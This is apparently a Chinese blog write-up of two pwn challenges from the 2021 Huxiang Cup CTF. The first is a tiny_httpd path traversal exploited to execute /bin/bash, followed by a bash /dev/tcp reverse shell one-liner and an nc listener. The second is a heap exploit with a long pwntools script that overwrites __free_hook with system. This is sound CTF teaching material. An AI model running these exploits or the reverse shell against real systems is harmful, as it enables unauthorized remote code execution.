2021湖湘杯线上
发表于:2021-11-16 |
字数统计: 2.1k | 阅读时长: 9分钟 | 阅读量:

2021湖湘杯pwn

1.tiny_httpd

这个题直接给出了源码,分析源码可以发现他会将两个连续的’.’变成一个,并且path是我们可以控制的,这就造成了漏洞。

image-20211116215036500

路径确定后如果cgi=1那么就会执行文件,如果为0就会查看文件。

image-20211116215345606

一开始的思路就是利用目录穿越直接查看flag,结果发现seeve_file的file路径被写死。

image-20211116215712832

所以得利用目录穿越执行/bin/bash,要使其可执行,就必须是cgi=1。要使cgi=1有两种方法,第一种是利用POST请求,第二种方法是利用GET请求但需要加?+参数,但由于并不知道参数名,所以我们只能使用POST的传参。

image-20211116220903194

使用POST的传参是需要注意,一定要在后面添加content-length。

exp:

1
2
3
4
5
6
from pwn import *
io=remote('127.0.0.1',9990)

payload='POST /.../.../.../.../.../.../.../.../.../bin/bash\r\nContent-length: 100\r\n'
io.sendline(payload)
io.interactive()

但因为程序使用了dup2(cgi_output[1],STDOUT);dup2(cgi_input[0],STDIN);将输入输出重定向了,所以我们并不能得到回显,因此需要我们反弹shell。

我们先监听要反弹shell的端口

1
nc -vnlp port

在交互下执行

1
bash -i >& /dev/tcp/ip/port 0>&1

就可以拿到新的shell了。

关于这个重定向,我找到了写出这个[web服务的作者]( C - C语言实现最简单的HTTP服务器 - SegmentFault 思否 ),它里面给出了一张图,很直观。

image-20211116224122030

小插曲:在看到这个反弹shell的命令时,我问了问fmyyy👴他的原理是啥,他紧接着发了个命令给我

image-20211116221920622

然后我就天真的执行了(emmmmmmmmmm)

image-20211116222231479

好家伙,直接言传身教,学到了,学到了。

2.双边协议3.0

还记得双边协议1.0是红名谷杯的题,这个是他的加强版。

这个题在当时做的时候逆了一天才把他的输入给绕过,赛后得wjh师傅和darry师傅帮助终于把这个题完整的复现了出来。

我们先看下这个程序他干了什么。

  • 将所有的输出先进行一系列异或操作,然后使用base64加密输出

  • 将我们的输入先进行base64解密,解出的前八位是固定字符串’lanlanww‘,第八到第十六位是大小(要求不能大于0x4f),从第16位开始到最后需要对其进行一系列异或解密,解密后的字符被读入。

  • 只能允许我们申请0x110大小的chunk。可以对其编辑和删除

  • 允许输出堆的内容,但会先将要输出的内容进行一系列异或解密,然后对其惊醒一系列异或加密输出。

  • 留有后门函数,可以申请0x2000以上大小的chunk,可以free并且不置0,可以对其进行一次写操作,可以在申请一个0x3918大小的chunk。

  • 编辑删除输出都取决于ptr+0x108是否为0

    麻烦的其实就是逆这个异或算法了(对逆向爷来说都是小case),每轮都会取一个随机数作为密钥key,然后将ptr+0x100内的数据逐个和这个key异或,这个key将会被随机插入到ptr+0x50内的任意一个位置,并且在最后也就是每轮i的位置记录key的位置。直到i=ptr+0xfe

image-20211125211355768

正因为i记录了key的位置,因此我们就可以直到每轮key的位置了,因此就可以从后往前将每轮的key值取出,异或回去得到原来的置。解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
a='d3duYWxuYWwWAAAAAAAAABZ0TQ8cTkxVIkQhUxdLW20mQA5CWQgtF0xJAVJAXXBheyhCPlxhNGoHMkhyNiByaGxbKn12TUBBLVs9ZEpBWxDQ0HtmFAxOBtDQNyjQ0G4qcNBi0BhAARHQ0NDQ0Dl/0NBjZ9DQRDwJ0NB2fxhZI9DQ0EJEdtDQ0NDQBtAY0NA20A3Q0NBj0NAaLNDQYCzQ0NAM0EjQatDQ0C/Q0BvQ0NDQ0NDQ0G3Q0CkpUCs+SyYrOC5xIGIfTXAIcAV6UndRTxQdBzAWZWx9OmhWISdEelxcMHR+YlRXEXl8VTR4UUFYd2VLHiAkMjQ4AUJsHm8aLio+WFYFaVhtTxM1F05VIgg='
print(hex(len(a)))
mingwen=base64.b64decode(a.encode())
mingwen=mingwen[16:]
#print(mingwen)
s=[]
for i in mingwen:
s.append(i)
print(s)
for i in range(0xff,0x4f,-2):
key = s[s[i]]
for j in range(i):
s[j] ^= key
#dele key
for k in range(s[i],i):
s[k] = s[k+1]
string=''
#s=s[:32]
print(s)
for i in s:
string+=chr(i)
print(string)

那我们该如何绕过输入呢,我们可以看见每次会从最后将key的位置取出然后和数据异或,因此我们只需要使其取出的值为0即可。因此我们可以这样写:

1
2
3
payload='a'*0x10
payload=payload.ljust(0x80,'\x00')
payload=payload.ljust(0x100,'\x12')

本以为可以进行交互这个题就差不多了,但一直泄露不了libc_base,原因是一直被ptr+0x108这里的值给卡住了,最后问了wjh师傅说可以向前溢出,我才发现这里还有一个漏洞。

一开始我以为_BYTE这个类型是不会存在负值的,但调试发现是有负值的,因此就可以向前溢出,因为获得key之后就会将其删除,从后面补上,如果key的位置在chunk前面,那么只需要补一个值就行,因此就可以将1变成0。

image-20211125213128459

因为远程环境是libc2.23,所以0x120大小的chunk会被放入unsortedbin中,因此我们想到打global_max_fast,利用unsrotedbinattack将global_max_fast改为一个很大的值,然后我们可以利用那个后门函数申请0x3918大小的chunk,因为将此chunkfree后正好就是free_hook的位置,然后改此chunk的fd指针为system函数的地址。最后在申请一下0x3918大小的chunk就可以将free_hook的值覆盖为system的地址了。

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
from pwn import *
import base64
io=process('./Maybe_fun_game_3')
elf=ELF('./Maybe_fun_game_3')
libc=elf.libc
#io=remote('47.93.163.42', 36479)
context.log_level='debug'

def decode(a):
mingwen=base64.b64decode(a.encode())
mingwen=mingwen[16:]
#print(mingwen)
s=[]
for i in mingwen:
s.append(ord(i))
#print((s))
for i in range(0xff,0x4f,-2):
key = s[s[i]]
for j in range(i):
s[j] ^= key
#dele key
for k in range(s[i],i):
s[k] = s[k+1]
string=''
s=s[:8]
for i in s:
string+=chr(i)
b=u64(string)
return b

def inputs(choice):
a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
b=str(choice)
b=b.ljust(0x60,'\x00')
b=b.ljust(0x100,'\x06')
mingwen=base64.b64encode(a+b)
print(mingwen)
return mingwen

def add(a1,s):
choice=inputs(1)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
size=inputs(a1)
io.sendlineafter('=\n',size)
a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
content=base64.b64encode(a+s)
io.sendlineafter('=\n',content)
io.recvuntil('=\n')

def add2(a1):
choice=inputs(1)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
size=inputs(a1)
io.sendlineafter('=\n',size)
io.recvuntil('=\n')

def dele(a1):
choice=inputs(2)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
index=inputs(a1)
io.sendlineafter('=\n',index)
io.recvuntil('=\n')

def edit(a1,s):
choice=inputs(3)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
index=inputs(a1)
io.sendlineafter('=\n',index)
a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
content=base64.b64encode(a+s)
io.sendlineafter('=\n',content)
io.recvuntil('=\n')

def show(a1):
choice=inputs(4)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
index=inputs(a1)
io.sendlineafter('=\n',index)


def exp():
choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
size=inputs(14616)
io.sendlineafter('=\n',size)
io.recvuntil('=\n')
payload='a'*0x10
payload=payload.ljust(0x80,'\x00')
payload=payload.ljust(0x100,'\x12')
add(56,payload)#0
payload1='deadbeef'*0x2
payload1=payload1.ljust(0x60,'\x00')
payload1=payload1.ljust(0xff,'\x12')
payload1+='\xe8'
add(56,payload1)#1
add(56,payload1)#2
dele(0)
show(1)
io.recvuntil('=\n')
io.recvuntil('=\n')
show(0)
a=io.recvuntil('=')
print('a',a)
malloc_hook=decode(a)-16-88
libc_base=malloc_hook-libc.symbols['__malloc_hook']
print('libc_base',hex(libc_base))
io.recvuntil('=\n')
onegadget=[0x45226,0x4527a,0xf03a4,0xf1247]
global_max_fast=libc_base+0x3c67f8
system=libc_base+libc.symbols['system']

edit(0,p64(malloc_hook+88+16)+p64(global_max_fast-0x10))
add(56,'/bin/sh\x00')#3

#free(v3)
choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)

#Content
choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
io.recvuntil('=\n')
io.recvuntil('=\n')
a='wwnalnal\x20\x00\x00\x00\x00\x00\x00\x00'
content=base64.b64encode(a+p64(system))
io.sendline(content)
gdb.attach(io)
choice=inputs(5)
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.recvuntil('=\n')
io.sendline(choice)
dele(3)
io.interactive()

exp()
上一篇:
第四届安洵杯
下一篇:
ida动态调试+pwntools输入